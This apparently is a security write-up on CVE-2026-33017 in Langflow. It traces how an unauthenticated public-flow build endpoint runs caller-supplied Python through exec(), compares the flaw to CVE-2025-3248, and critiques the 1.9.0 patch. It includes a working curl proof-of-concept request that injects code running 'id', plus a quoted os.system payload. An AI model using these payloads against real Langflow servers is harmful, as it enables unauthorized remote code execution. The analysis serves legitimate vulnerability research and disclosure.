build_public_tmp Verifies A Flow It Does Not Run
The endpoint lives in src/backend/base/langflow/api/v1/chat.py, registered as POST /api/v1/build_public_tmp/{flow_id}/flow, with no authentication dependency in its FastAPI signature. The pre-patch shape, version 1.8.2:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
background_tasks: LimitVertexBuildBackgroundTasks,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
files: list[str] | None = None,
...
request: Request,
queue_service: Annotated[JobQueueService, Depends(get_queue_service)],
event_delivery: EventDeliveryType = EventDeliveryType.POLLING,
):
"""Build a public flow without requiring authentication."""
try:
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(
flow_id=flow_id, client_id=client_id
)
job_id = await start_flow_build(
flow_id=new_flow_id,
background_tasks=background_tasks,
inputs=inputs,
data=data,
files=files,
...
current_user=owner_user,
queue_service=queue_service,
flow_name=flow_name or f"{client_id}_{flow_id}",
)
The handler does three things. It reads client_id from a cookie the caller can set to anything. It calls verify_public_flow_and_get_user, which looks up the row at flow_id, confirms access_type == 'PUBLIC', derives a per-client virtual flow id from client_id + flow_id for session bookkeeping, and returns the flow's owner so the build can run under their identity. It then calls start_flow_build with data=data, the caller's body parameter, and the virtual id.
start_flow_build is the same function the authenticated /build/{flow_id}/flow endpoint calls. Its job is to set up a job queue and dispatch generate_flow_events, which contains a nested create_graph that constructs a Langflow Graph from a data argument when one is supplied, and from the database when one is not. On the authenticated endpoint, data is the in-progress flow the user is editing in their browser. On the public endpoint, data is whatever the unauthenticated caller put in the JSON body.
What Flow JSON Contains
A Langflow flow is a graph of components. Every component node carries a template. Every template has a code field whose value is a Python source string. The string defines a class that subclasses langflow.custom.Component. To instantiate the node, Langflow calls eval_custom_component_code(code), which routes through prepare_global_scope, which calls exec(compiled_code, exec_globals) at line 397 of prepare_global_scope.
This is the content-is-command shape: external content (a JSON document a maker exports and another maker imports) feeds an interpreter (exec() inside prepare_global_scope) that treats it as instructions. The flow's authors saw template.code.value as a serialization of source they typed into a Monaco editor. The build pipeline saw it as a Python module. The two views compose at the call site without anyone naming the boundary.
exec runs module-level statements as it compiles. A class definition runs. An import runs. An assignment whose right-hand side is a function call runs. The vendor advisory names the shape directly: _x = os.system("id") placed at the top of a component's template.code.value field executes during graph build, before the flow's first vertex is ever dispatched. The endpoint's build is the exec.
The PoC reduces to one POST:
curl -X POST http://target:7860/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
-d '{
"data": {
"nodes": [{
"data": {
"node": {
"template": {
"code": {
"value": "import os\n_x = os.popen(\"id\").read()\nopen(\"/tmp/pwned\", \"w\").write(_x)"
}
}
}
}
}],
"edges": []
}
}'
The flow_id in the URL is a placeholder. The verification step touches a database row long enough to confirm the target instance has at least one public flow on the account, and to fetch that flow owner's User so the worker can run with their credentials. The build pipeline never reads that row's body. The code in data.nodes[0].data.node.template.code.value is what runs.
The Check That Should Have Been A Load
verify_public_flow_and_get_user is the entire authorization model for build_public_tmp. It is the only function call between the unauthenticated POST and prepare_global_scope's exec(). Its name suggests it fetches the public flow and hands the build pipeline a verified flow body. Its implementation returns two things, neither of which is the flow's body:
- The flow owner's row, so the build job can be tagged with their identity and run under their environment.
- A virtual flow id derived from
(client_id, flow_id), used as the bookkeeping key for sessions and emitted events.
The function's job is to authorize the caller. The data the caller sent travels through to the build pipeline untouched. When the build pipeline sees a data argument, it uses it. The verification call is a one-way gate: it confirms the request is for an account that has at least one public flow somewhere, and it forwards everything else.
Once the gate is open, the caller is the build's data plane. The check that the URL points at a public flow does not constrain what runs, because what runs comes from the body.
This Is The Second Time In Thirteen Months
CVE-2025-3248, disclosed March 2025, was an unauthenticated POST /api/v1/validate/code that called exec() on a caller-supplied Python function definition. Horizon3 found it. CISA added it to the Known Exploited Vulnerabilities catalog within weeks. The Flodrix botnet weaponized it before most operators had finished patching. The vendor's fix was to require authentication on the validate endpoint.
CVE-2026-33017, disclosed March 17, 2026, is an unauthenticated POST /api/v1/build_public_tmp/{flow_id}/flow that calls exec() on caller-supplied Python in a flow's component code. Sysdig observed the first scanning campaigns 20 hours and 4 minutes after the advisory dropped. CISA added the new CVE to its Known Exploited Vulnerabilities catalog with a remediation deadline of April 8, 2026. Today is May 2, 2026. The deadline is twenty-four days past.
Both CVEs reach the same exec() call site through the same component-instantiation pipeline. Both involve unauthenticated callers shipping Python that the server compiles and runs as part of routine flow handling. The 2025 fix added authentication to the validate door it knew about. CVE-2026-33017 lives on a door labeled "public" by name: the endpoint exists so unauthenticated callers can run flows the operator has chosen to share. Adding authentication is not a remediation available there. The remediation is to stop accepting flow data from the caller.
This is a design-debt-driver in the catalog's sense: a component whose bug class keeps recurring because the architecture is fertile for that class. Langflow's product is a UI that lets users author Python components and a server that exec()s them; every endpoint that touches a flow is an entry into the same primitive, and the bug class is the gap between "the server exec()s components" and "the server exec()s components from this trust boundary." Composer's VCS drivers shipped the same shape across five years and three drivers: patches close the instances, the substrate ships unchanged. Langflow is doing it faster.
The 1.9.0 Patch Left The Parameter In The Signature
The advisory's recommendation:
Public flows should only execute their stored flow data, never attacker-supplied data. Remove the data parameter entirely from build_public_tmp.
The 1.9.0 signature:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
background_tasks: LimitVertexBuildBackgroundTasks,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
...
):
The data parameter is still there. Still typed as FlowDataRequest. Still labeled "Optional flow data" in the docstring. The fix is one argument further down, in the call to start_flow_build:
job_id = await start_flow_build(
flow_id=new_flow_id,
+ source_flow_id=flow_id,
background_tasks=background_tasks,
inputs=inputs,
data=data,
...
)
The new source_flow_id argument propagates into generate_flow_events. When it is set, the nested create_graph ignores the data parameter and loads the flow from the database by source_flow_id. The dead data parameter in the FastAPI signature still accepts caller bodies; the build pipeline drops them on the floor.
Two consequences. The API surface still advertises a parameter the caller should not send and the server will not honor; readers of the OpenAPI spec will write client code against it, and operators reading the docs will assume the parameter does what the docstring says. And the architectural invariant that "public flows execute stored data, never caller data" is now enforced by an argument threaded through three function calls in a build pipeline that will be refactored. The next refactor that loses source_flow_id restores the primitive.
The advisory said remove the parameter. The vendor kept the parameter and added a downstream check. This is what an unpatchable-primitive looks like at the patch level: removing the parameter would mean conceding that the public-flow endpoint cannot accept attacker-named flow data at all, which would mean conceding that one of the endpoint's two body parameters is permanently unsafe, which would mean naming the design as the bug. The vendor declined.
The Substrate Is Stable
CVE-2025-3248 was an unauthenticated exec() endpoint that the patch closed by requiring authentication. CVE-2026-33017 is an unauthenticated exec() endpoint that is unauthenticated by name. The patch did not remove the parameter the advisory pointed at. It put a check downstream. The next CVE in this codebase will be the next entry into the same primitive, because the primitive is the design.
PoC: Jorrit-VM/CVE-2026-33017
The patch closed the door. The room is the product.